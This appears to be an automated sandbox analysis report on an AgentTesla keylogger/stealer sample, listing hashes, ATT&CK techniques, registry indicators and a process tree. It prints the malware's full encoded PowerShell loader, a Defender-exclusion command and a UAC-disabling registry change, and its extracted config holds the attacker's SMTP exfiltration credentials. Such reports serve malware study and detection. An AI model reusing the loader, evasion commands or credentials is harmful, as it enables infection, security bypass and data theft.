agenttesla | 7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 01:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b.exe
Size 1.4MB
Sample240530-b58a8sba85
SHA256 7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b
MD5 e0f4dea1140fc4f4281d9f99b48b62bc
SHA1 8211a52d96681c49684e8428689fb3896a639770
SHA512 a2b9a34e33b49492f73009d77e4364c5f385e34475f6bffd0bdcc776e852ef37ac5d4affd3e8eb21d2474f83c3ba8aa1955e9603e0552ce0292eae10c26acae6
SSDEEP 24576:tgdHhHQqki1qnS/p1I64hbBs0HjHDiELdci42JOGZxTwpZ:tmd9kPcB4hBlHjHDiELdcOBTSZ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla evasion execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
ysmglobalsourcing.com
Port
587
Username
[email protected]
Password
YSM$2024
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Windows security bypass 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b.exe = "0"	powershell.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2276	powershell.exe
3944	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	powershell.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2276 set thread context of 5076	2276	powershell.exe	96

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
5076	regsvcs.exe
5076	regsvcs.exe
5076	regsvcs.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeDebugPrivilege	5076	regsvcs.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2748 wrote to memory of 2276	2748	7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b.exe	82
PID 2748 wrote to memory of 2276	2748	7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b.exe	82
PID 2276 wrote to memory of 3944	2276	powershell.exe	94
PID 2276 wrote to memory of 3944	2276	powershell.exe	94
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 5076	2276	powershell.exe	96
PID 2276 wrote to memory of 2520	2276	powershell.exe	97
PID 2276 wrote to memory of 2520	2276	powershell.exe	97
PID 2276 wrote to memory of 2520	2276	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b.exe
"C:\Users\Admin\AppData\Local\Temp\7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABDADIALAAgADAAeABEAEYALAAgADAAeAA2ADIALAAgADAAeAAyADcALAAgADAAeAAyAEYALAAgADAAeABFAEMALAAgADAAeAA2ADkALAAgADAAeAA5AEIALAAgADAAeAAzAEEALAAgADAAeABCADAALAAgADAAeAAwAEQALAAgADAAeAA0AEYALAAgADAAeABFADQALAAgADAAeABGAEIALAAgADAAeABDADUALAAgADAAeABEAEQALAAgADAAeAAzADQALAAgADAAeAA4ADEALAAgADAAeAA0ADMALAAgADAAeABFADQALAAgADAAeAAzADcALAAgADAAeAA0ADIALAAgADAAeABFADcALAAgADAAeAA0ADEALAAgADAAeABCADgALAAgADAAeABBAEYALAAgADAAeAA3ADcALAAgADAAeAAzAEYALAAgADAAeAA3ADMALAAgADAAeAAzAEIALAAgADAAeAAxADUALAAgADAAeAAwADQAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxADkALAAgADAAeAA4AEQALAAgADAAeAA2ADcALAAgADAAeAA3ADEALAAgADAAeABBAEMALAAgADAAeAA5ADEALAAgADAAeAA4ADkALAAgADAAeABGAEQALAAgADAAeABGADYALAAgADAAeABFADcALAAgADAAeABDAEUALAAgADAAeAAzAEYALAAgADAAeABGADgALAAgADAAeABCAEIALAAgADAAeAA4ADYALAAgADAAeAA1ADkAKQAKAAoAaQBmACAAKAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAAfBEMEQgRMBCQEMAQ5BDsEMAQgAD0AIAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsELgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAFwQwBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQRBDAEOQRCBEsEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAB8EQwRCBEwEJAQwBDkEOwQwBCkAOwAKACAAIAAgACAAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQgAD0AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAC0AGgQ7BE4ERwQgACQAGgQ7BE4ERwQgAC0AGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAC0AFAQwBD0EPQRLBDUEIAAkABcEMARIBDgERARABD4EMgQwBD0EPQRLBDUEEQQwBDkEQgRLBAoACgAgACAAIAAgACQAIQQxBD4EQAQ6BDAEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAYgB5AHQAZQBbAF0AXQBAACgAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQpACkAOwAKACAAIAAgACAAJAAiBD4ERwQ6BDAEEgRFBD4ENAQwBCAAPQAgACQAIQQxBD4EQAQ6BDAELgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQAIgQ+BEcEOgQwBBIERQQ+BDQEMAQuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoAfQAKAA==
  2⤵
  - UAC bypass
  - Windows security bypass
  - Looks for VirtualBox Guest Additions in registry
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Maps connected drives based on registry
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7ef75ea39dc749128c27109f320d5f10e197e4a88650e1a65a1a4f665022547b.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3944
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5076
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    PID:2520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_dv4r32dl.ndz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dv4r32dl.ndz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

file-12606.putik

Path C:\Users\Admin\AppData\Local\Temp\file-12606.putik
Size 20KB
SHA256 f8cef02cf12cd240e84549dd6d919cf5d135447de15c33b65243f13e3f0dd531
MD5 9a29e99312baebb908ea2f20613a8672
SHA1 49fd92b1ab6e8766b4e89cbc6316b6a6229d0a15
SHA512 c8dbb4641f39f32f4d7e56ad04a387815df6da0f37cb4070d64ea44840778aaa1ee837c848ec4b36b7e6470454f7f6bea0668d50497e11f64efb9a7c46726332
SSDEEP 384:Bup3WuWIDvKsxBzEJCt1tJdNe1qUZk2BqToRmm7wsRJbbeyXClfFz5vVoDIAVxa7:BupmR0vKe4JKtJdNQnZk2BQxwwsRJiy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2276-1-0x00007FF82E9E3000-0x00007FF82E9E5000-memory.dmp

Download

memory/2276-11-0x0000021616C10000-0x0000021616C32000-memory.dmp

Download

memory/2276-12-0x00007FF82E9E0000-0x00007FF82F4A1000-memory.dmp

Download

memory/2276-13-0x00007FF82E9E0000-0x00007FF82F4A1000-memory.dmp

Download

memory/2276-15-0x0000021616C40000-0x0000021616C4A000-memory.dmp

Download

memory/2276-16-0x000002162F300000-0x000002162F3CA000-memory.dmp

Download

memory/2276-36-0x00007FF82E9E0000-0x00007FF82F4A1000-memory.dmp

Download

memory/3944-19-0x00007FF82E9E0000-0x00007FF82F4A1000-memory.dmp

Download

memory/3944-18-0x00007FF82E9E0000-0x00007FF82F4A1000-memory.dmp

Download

memory/3944-30-0x00007FF82E9E0000-0x00007FF82F4A1000-memory.dmp

Download

memory/3944-35-0x00007FF82E9E0000-0x00007FF82F4A1000-memory.dmp

Download

memory/5076-29-0x00000000056E0000-0x0000000005C84000-memory.dmp

Download

memory/5076-31-0x0000000074A6E000-0x0000000074A6F000-memory.dmp

Download

memory/5076-32-0x0000000005230000-0x0000000005296000-memory.dmp

Download

memory/5076-17-0x0000000000400000-0x0000000000476000-memory.dmp

Download

memory/5076-37-0x0000000006530000-0x0000000006580000-memory.dmp

Download

memory/5076-38-0x0000000006620000-0x00000000066B2000-memory.dmp

Download

memory/5076-39-0x00000000065C0000-0x00000000065CA000-memory.dmp

Download

memory/5076-40-0x0000000074A6E000-0x0000000074A6F000-memory.dmp

Download